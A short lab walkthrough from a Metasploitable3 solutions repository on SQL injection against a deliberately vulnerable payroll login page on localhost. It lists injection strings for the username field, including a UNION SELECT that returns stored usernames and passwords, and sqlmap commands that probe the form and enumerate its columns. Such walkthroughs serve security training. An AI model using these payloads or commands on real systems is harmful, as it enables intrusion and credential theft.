metasploitable3-solutions/Payroll_App_SQL_Injection_Challenge.md

For this tutorial you will need the following tools

• Browser (Prefarably Mozilla)
• Burpsuite
• SQLMap

1. Try and login using the following credentials:

   Field	Value
   USERNAME	admin
   PASSWORD	admin

RESULTS: The webpage will display your username and no content

2. Try and login using the following credentials:

Field	Value
USERNAME	'
PASSWORD	admin

RESULTS: The webpage will be blank

3. Try and login using the following credentials:

   Field	Value
   USERNAME	' or 1;#'
   PASSWORD	admin

RESULTS: The web page will return all the user content 4. Use SQLMap to extract the database using the following commands:

sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST

RESULTS: SQLMap will identify whether the web application is vulnerable to SQL Injection

5. Use SQLMap to extract the columns in the table

   sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST --columns
   

RESULTS: SQLMap will retrieve the columns on the application tables

6. Use the column names to retrieve the user credentials:

   Field	Value
   USERNAME	' or 1 union select 1,username,password,1;#'
   PASSWORD	admin

RESULTS: The web page will return the user credentials